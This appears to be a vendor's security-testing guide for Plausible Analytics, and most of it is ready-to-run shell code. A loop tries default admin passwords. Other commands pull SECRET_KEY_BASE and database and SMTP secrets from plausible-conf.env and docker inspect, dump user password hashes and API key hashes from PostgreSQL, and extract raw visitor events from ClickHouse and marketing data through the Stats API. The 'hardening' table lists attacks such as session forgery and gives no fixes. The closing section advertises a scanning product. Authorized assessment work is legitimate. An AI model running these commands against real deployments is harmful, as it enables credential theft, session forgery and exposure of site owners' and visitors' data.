Plausible Analytics Security Testing: Default Credentials, API Key, Database, and .env SECRET_KEY_BASE

Plausible Analytics is a widely deployed open-source privacy-first analytics platform (Google Analytics alternative) used to track website traffic, conversions, and user behavior — the irony of a "privacy" analytics tool being misconfigured is significant. Key assessment areas: SECRET_KEY_BASE signs Phoenix session tokens; the Stats API with API key exposes all traffic data for tracked sites; ClickHouse stores all raw pageview events with visitor fingerprints; PostgreSQL stores all site configurations, goals, and funnels; and publicly shared dashboard links may bypass authentication entirely. Plausible compromise exposes competitor traffic intelligence, conversion funnels, and marketing campaign performance data. This guide covers systematic Plausible Analytics security assessment.

Table of Contents

  1. Authentication and API Key Testing
  2. Stats API Traffic Data Enumeration
  3. SECRET_KEY_BASE and Database Extraction
  4. Plausible Analytics Security Hardening

Authentication and API Key Testing

# Plausible Analytics — authentication and API key testing
PLAUSIBLE_URL="https://plausible.example.com"

# Plausible login — test admin credentials
for CRED in "admin@example.com:plausible" "admin@plausible.io:password" "admin@example.com:admin" "admin@example.com:password123"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${PLAUSIBLE_URL}/api/v1/auth/sign_in" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  STATUS=$(echo "$AUTH" | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print('OK' if d.get('token') else 'FAIL: '+str(list(d.keys()))[:50])
except:
    print('FAIL')
" 2>/dev/null)
  echo "${EMAIL}/${PASS}: ${STATUS}"
done

# Check if registration is open (DISABLE_REGISTRATION env var)
curl -s "${PLAUSIBLE_URL}/register" 2>/dev/null | grep -i "register\|sign.up" | head -3

# Test Stats API key
API_KEY="your-plausible-api-key"
SITE="example.com"

curl -s "${PLAUSIBLE_URL}/api/v1/stats/aggregate?site_id=${SITE}&metrics=visitors,pageviews,bounce_rate,visit_duration&period=30d" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',{})
print(f'30-day stats for ${SITE}:')
for k,v in results.items():
    print(f'  {k}: {v.get(\"value\")}')
" 2>/dev/null

# List all tracked sites (with admin/user access)
curl -s "${PLAUSIBLE_URL}/api/v1/sites" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sites = d.get('sites',[])
print(f'Tracked sites: {len(sites)}')
for s in sites[:10]:
    print(f'  {s.get(\"domain\")} timezone={s.get(\"timezone\")}')
" 2>/dev/null

Stats API Traffic Data Enumeration

# Plausible Stats API — comprehensive traffic data enumeration
PLAUSIBLE_URL="https://plausible.example.com"
API_KEY="your-plausible-api-key"
SITE="example.com"

# Top pages — reveals which content/products drive traffic
curl -s "${PLAUSIBLE_URL}/api/v1/stats/breakdown?site_id=${SITE}&property=event:page&metrics=visitors,pageviews,time_on_page&period=30d&limit=50" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Top {len(results)} pages by visitor count:')
for r in results[:10]:
    print(f'  {r.get(\"page\",\"\")}: {r.get(\"visitors\")} visitors, {r.get(\"pageviews\")} views')
" 2>/dev/null

# Traffic sources — reveals marketing channels and campaigns
curl -s "${PLAUSIBLE_URL}/api/v1/stats/breakdown?site_id=${SITE}&property=visit:source&metrics=visitors,bounce_rate&period=30d&limit=50" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Traffic sources:')
for r in results[:10]:
    print(f'  {r.get(\"source\",\"\")}: {r.get(\"visitors\")} visitors, bounce={r.get(\"bounce_rate\")}%')
" 2>/dev/null

# UTM campaigns — reveals all marketing campaigns and their performance
curl -s "${PLAUSIBLE_URL}/api/v1/stats/breakdown?site_id=${SITE}&property=visit:utm_campaign&metrics=visitors,pageviews&period=30d&limit=50" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'UTM campaigns:')
for r in results[:10]:
    print(f'  {r.get(\"utm_campaign\",\"\")}: {r.get(\"visitors\")} visitors')
" 2>/dev/null

# Goals/conversions — reveals conversion funnel performance and targets
curl -s "${PLAUSIBLE_URL}/api/v1/stats/breakdown?site_id=${SITE}&property=event:goal&metrics=visitors,events,conversion_rate&period=30d&limit=50" \
  -H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results = d.get('results',[])
print(f'Goal conversions:')
for r in results[:10]:
    print(f'  {r.get(\"goal\",\"\")}: {r.get(\"visitors\")} visitors, rate={r.get(\"conversion_rate\")}%')
" 2>/dev/null

SECRET_KEY_BASE and Database Extraction

# Plausible SECRET_KEY_BASE and database credential extraction

# .env file — Plausible configuration
cat /app/plausible-conf.env 2>/dev/null | grep -E "SECRET_KEY_BASE|DATABASE_URL|CLICKHOUSE|REDIS|SMTP|MAILER"
# SECRET_KEY_BASE — Phoenix session signing key
# DATABASE_URL — PostgreSQL connection string
# CLICKHOUSE_DATABASE_URL — ClickHouse connection string

# Docker environment variables
docker inspect plausible 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY_BASE','DATABASE','CLICKHOUSE','REDIS','SMTP','PASSWORD','TOTP']):
            print(e)
" 2>/dev/null

# PostgreSQL — site configurations and user data
DB_URL="postgresql://postgres:PASSWORD@localhost/plausible_db"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All tracked sites and their configurations
SELECT id, domain, timezone, ingest_rate_limit_scale_seconds,
       created_at
FROM sites
ORDER BY created_at DESC
LIMIT 20;
EOF

-- All API keys (for accessing Stats API)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT ak.id, ak.name, ak.key_hash,
       ak.scopes, ak.hourly_request_limit,
       u.email as owner, ak.inserted_at
FROM api_keys ak
JOIN users u ON ak.user_id = u.id
ORDER BY ak.inserted_at DESC
LIMIT 10;
EOF
-- key_hash is SHA256 — if you find the plaintext key elsewhere, verify here

-- Users
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, email, name, password_hash, trial_expiry_date,
       inserted_at, last_seen
FROM users
ORDER BY inserted_at ASC
LIMIT 10;
EOF

-- Goals and custom events
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT g.id, g.event_name, g.page_path,
       s.domain as site_domain,
       g.inserted_at
FROM goals g
JOIN sites s ON g.site_id = s.id
ORDER BY g.inserted_at DESC
LIMIT 20;
EOF

# ClickHouse — all raw pageview events
CLICKHOUSE_URL="http://localhost:8123"
curl -s "${CLICKHOUSE_URL}/?query=SELECT+domain,+pathname,+referrer,+utm_campaign,+utm_source,+utm_medium,+country_code,+city_geoname_id,+session_id,+user_id,+timestamp+FROM+events_v2+WHERE+domain='example.com'+ORDER+BY+timestamp+DESC+LIMIT+20+FORMAT+JSONEachRow" 2>/dev/null | head -20
# Contains: all pageviews with visitor fingerprint (user_id), URL, referrer, UTM params, geo

Plausible Analytics Security Hardening

Plausible Analytics Security Hardening Checklist:
Security TestMethodRisk
SECRET_KEY_BASE extraction and Phoenix session forgeryRead plausible-conf.env SECRET_KEY_BASE — Phoenix session signing key; forge valid session cookies for any Plausible user; full access to all site analytics dashboardsCritical
Stats API key extraction and business intelligence exfiltrationAPI GET /api/v1/stats/breakdown — top pages, traffic sources, UTM campaigns, conversion goals; complete marketing intelligence and business performance data for all tracked sitesHigh
ClickHouse direct query for raw pageview eventsHTTP query to :8123 if unauthenticated — SELECT from events_v2 all visitor session data including fingerprints, page sequences, UTM params; full behavioral analytics data outside Plausible access controlsHigh
PostgreSQL goals and site configuration extractionSELECT from goals — all conversion goal definitions revealing product-critical KPIs; SELECT from sites — all tracked domains; SELECT from users — account enumerationMedium
Shared dashboard link enumerationTest /share/{domain}?auth= with guessable slugs — public read-only access to site traffic stats without authentication; URL format is predictableMedium

Automate Plausible Analytics Security Testing

Ironimo tests Plausible Analytics deployments for SECRET_KEY_BASE extraction and Phoenix session forgery, Stats API key extraction and traffic intelligence exfiltration, ClickHouse unauthenticated HTTP interface access for raw pageview data, PostgreSQL goals/sites/users extraction, shared dashboard link enumeration and access testing, open registration status, admin credential brute force, TOTP enforcement assessment, Docker environment variable exposure, and plausible-conf.env plaintext credential disclosure.

Start free scan